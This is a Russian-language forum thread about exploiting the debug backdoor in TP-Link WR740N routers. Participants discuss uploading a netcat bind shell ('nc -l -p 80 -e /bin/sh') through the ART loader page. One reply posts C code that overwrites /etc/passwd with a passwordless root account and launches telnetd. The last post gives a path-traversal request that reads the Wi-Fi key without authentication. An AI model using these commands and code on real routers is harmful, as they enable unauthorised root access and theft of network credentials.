The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  вход/выход  слежка  RSS
"Backdoor в роутерах TP-Link, нужен Ваш совет"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Информационная безопасность (Обнаружение и предотвращение атак / Linux)
Изначальное сообщение [ Отслеживать ]

"Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от specx2 email(ok) on 08-Июн-14, 02:35 
Здравствуйте, устал биться лбом в Google и терминал, обращаюсь к Вам за помощью.
Суть:
Имею небольшой парк TP-Link WR740N с уязвимостью описанной в http://habrahabr.ru/post/172799/
Прошивку менять на OpenWRT затруднительно. Устройства дешёвые, работу свою выполняют.
Почитав об уязвимости решил проверить, возможно ли будет получить доступ через NC, через WAN.
Нашёл собранный под MIPS файл nart.out (Netcat) у китайских товарищей http://www.right.com.cn/forum/thread-118907-1-1.html
nc -l -p 2222 -e /bin/sh
Залил на роутер через WAN, результат в браузере "Art successfully started"
Пытаюсь подключиться с WAN
nc.exe IP.IP.IP.IP 2222
Не подключается, пытаюсь с LAN, тоже безуспешно, так как после загрузки nart.out из эфира пропадает SSID точки, требует перезагрузка.
Сканер портов видит только 80 на WAN.

Я предположил что фаервол роутера всё-таки что делает и ограничивает подключения, кроме 80 порта.

Решил я пере-собрать под MIPS самостоятельно бинарник, с горем пополам развернул тулчейн.
Определился что на выходе должен получиться
ELF 32-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked
С параметром nc -l -p 80 -e /bin/sh

Теперь не могу понять как именно собрать Netcat, что бы при исполнении на роутере выполнялась опция nc -l -p 80 -e /bin/sh

Опции при конфигурации у NC я не нашёл
Вопрос: как этот китайский товарищ собрал бинарник?
В один бинарник NC+bash скрипт?
Опыта как и идей маловато...

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от Психиатр (ok) on 08-Июн-14, 03:51 
Он (router) точно nart.out от тебя по tftp загрузил?
Смотри логи tftp сервера, не всегда имя файла именно nart.out.


Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от specx2 email(ok) on 08-Июн-14, 14:40 
> Он (router) точно nart.out от тебя по tftp загрузил?
> Смотри логи tftp сервера, не всегда имя файла именно nart.out.

Да точно, логи это подтверждают, если заливать мусор вместо бинарника, результат "Art download failed"


Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

3. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от 1 (??) on 08-Июн-14, 17:30 
> Прошивку менять на OpenWRT затруднительно. Устройства дешёвые, работу свою выполняют.
> Решил я пере-собрать под MIPS самостоятельно бинарник, с горем пополам развернул тулчейн.
> Определился что на выходе должен получиться
> ELF 32-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked
> С параметром nc -l -p 80 -e /bin/sh
> Теперь не могу понять как именно собрать Netcat, что бы при исполнении
> на роутере выполнялась опция nc -l -p 80 -e /bin/sh

слушай, а не проще openwrt настроить и растиражировать?
там фаером можно практич любые сетевые дырки закрыть в том числе и на будущее,имхо

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от specx2 email(ok) on 08-Июн-14, 18:49 
>> Прошивку менять на OpenWRT затруднительно. Устройства дешёвые, работу свою выполняют.
>> Решил я пере-собрать под MIPS самостоятельно бинарник, с горем пополам развернул тулчейн.
>> Определился что на выходе должен получиться
>> ELF 32-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked
>> С параметром nc -l -p 80 -e /bin/sh
>> Теперь не могу понять как именно собрать Netcat, что бы при исполнении
>> на роутере выполнялась опция nc -l -p 80 -e /bin/sh
> слушай, а не проще openwrt настроить и растиражировать?
> там фаером можно практич любые сетевые дырки закрыть в том числе и
> на будущее,имхо

Суть в проверки теории на практики, я ведь обращаюсь с конкретным вопросом.

Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

5. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от atlas28 on 09-Июн-14, 19:13 
>[оверквотинг удален]
>>> Решил я пере-собрать под MIPS самостоятельно бинарник, с горем пополам развернул тулчейн.
>>> Определился что на выходе должен получиться
>>> ELF 32-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked
>>> С параметром nc -l -p 80 -e /bin/sh
>>> Теперь не могу понять как именно собрать Netcat, что бы при исполнении
>>> на роутере выполнялась опция nc -l -p 80 -e /bin/sh
>> слушай, а не проще openwrt настроить и растиражировать?
>> там фаером можно практич любые сетевые дырки закрыть в том числе и
>> на будущее,имхо
> Суть в проверки теории на практики, я ведь обращаюсь с конкретным вопросом.

Столкнулся с аналогичной проблемой, файл заливается, но коннекта нет и порт не открывается. nart.out я не компилировал, но если открыть текстовым редактором и найти там 2222, то порт можно менять, только мне это не помогло. Есть идеи?

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

7. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от anesth (??) on 18-Сен-16, 02:46 
>[оверквотинг удален]
>>>> Теперь не могу понять как именно собрать Netcat, что бы при исполнении
>>>> на роутере выполнялась опция nc -l -p 80 -e /bin/sh
>>> слушай, а не проще openwrt настроить и растиражировать?
>>> там фаером можно практич любые сетевые дырки закрыть в том числе и
>>> на будущее,имхо
>> Суть в проверки теории на практики, я ведь обращаюсь с конкретным вопросом.
> Столкнулся с аналогичной проблемой, файл заливается, но коннекта нет и порт не
> открывается. nart.out я не компилировал, но если открыть текстовым редактором и
> найти там 2222, то порт можно менять, только мне это не
> помогло. Есть идеи?

К nart.out полагается еще art.ko (который работает с pci при выгруженном ath9k) и вместе они нужны для удаленной работы ART - atheros radio tool. ART существует только под оффтопик, но если собрать nart под любую платформу, хоть бы и под openwrt, под UBNT AirOS, под ďd - главное тулчейн и сорс ядра чтобы был, радио на роутере можно например откалибровать с PC. Еще много чего можно :) даже без свиндовса и ART, протокол работы nart простой текстовый, команда-ответ. Полезный тулсет, например если фирмваре с калибровкой убита. В прошивках тплинка start_art.htm не задумывался как бекдор, чисто головотяпство для удобства, чтобы можно было залить нарт не вскрывая устройство.
А так-то да, собираешь простой код который откроет сокет, форкнется и запустит sh - и есть шелл.

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc,char **argv)
{
        char *st="admin::0:0:adm:/:/bin/sh\n";
        char *av[]={"busybox","telnetd",NULL};
        char *ev[]={NULL};
        int fd=open("/etc/passwd",O_CREAT|O_RDWR);
        if(fd) {
                write(fd,st,strlen(st));
                close(fd);
                execve("/bin/busybox",av,ev);
        }
}

Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

8. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от anesth (ok) on 18-Сен-16, 03:00 
пример правильного nart (собрано для tplink wr741nd с trunk openwrt r39xxx)

$ nc -v 192.168.0.30 2390
nc: ap (192.168.0.30) 2390 [2390] open
nc: using stream socket                                                                                                                                                                        
help                                                                                                                                                                                            
7508 CONTROL BEGIN help                                                                                                                                                                        
1012 INFO exit: exits the program                                                                                                                                                              
1012 INFO help, ?: supplies information about the commands and parameters                                                                                                                      
1012 INFO hello: checks that the network link to nart is working, synchronizes commands and responses                                                                                          
1012 INFO transmit, tx, t: causes the specified device to transmit                                                                                                                              
1012 INFO receive, rx, r: causes the specified device to receive                                                                                                                                
1012 INFO carrier: causes the device to transmit the carrier tone
1012 INFO sleep: pauses program execution for the specified number of milliseconds
1012 INFO load, card, attach: loads the card
1012 INFO unload, remove, detach: unloads the card
1012 INFO reset: resets the device
1012 INFO rr: reads a device register
1012 INFO rw: writes a device register with the specified value
1012 INFO sr, sl: prints the current list of sticky writes
1012 INFO sw: sticky write of a device field/register, sticky writes are performed after every device reset
1012 INFO sc: clear sticky field/register from list, last-on, first-off order
1012 INFO fr: field read
1012 INFO fw: field write
1012 INFO fl: list all the matching fields
1012 INFO mr: memory read
1012 INFO mw: memory write
1012 INFO er: eeprom read
1012 INFO ew: eeprom write
1012 INFO or: otp read
1012 INFO ow: otp write
1012 INFO cr: pci config read
1012 INFO cw: pci config write
1012 INFO rd: enable register read/write debug mode
1012 INFO tgr: transmit gain table read
1012 INFO tgw: transmit gain table write
1012 INFO restore: restores calibration information from card
1012 INFO commit, save: finalize calibration and write data to device
1012 INFO pcie, boot: write pcie configuration data to chip
1012 INFO check: check calibration data on device
1012 INFO set: set a configuration parameter on the card
1012 INFO get: get a configuration parameter from the card
1012 INFO setTP: set target power configuration parameter on the card
1012 INFO getTP: get target power configuration parameter from the card
1012 INFO erase
1012 INFO pl: turn on packet logging
1012 INFO channel: retrieve and display a list of the valid channels
1012 INFO noisefloor, nf: compute the noise floor
1012 INFO nfg: retrieve and display the calibrated noise floor measurements
1012 INFO targetPower, tp: retrieve and display the target power values
1012 INFO start: start the current command
1012 INFO stop: stop the current command
1012 INFO template: Manipulates the configuration and calibration template
1012 INFO error: allows you to control how error messages are displayed
1012 INFO version: retrieve version information
7506 CONTROL DONE help

Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

6. "Backdoor в роутерах TP-Link, нужен Ваш совет"  +/
Сообщение от specx2 (ok) on 23-Июн-14, 00:36 
Вообщем уязвимость существует на некоторых прошивках, позволяющая прочитать файл с ключом от Wi-Fi без авторизации если открыт доступ к WAN
Выполнив в терминале
GET ip:port/help/../../tmp/ath0.ap_bss
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру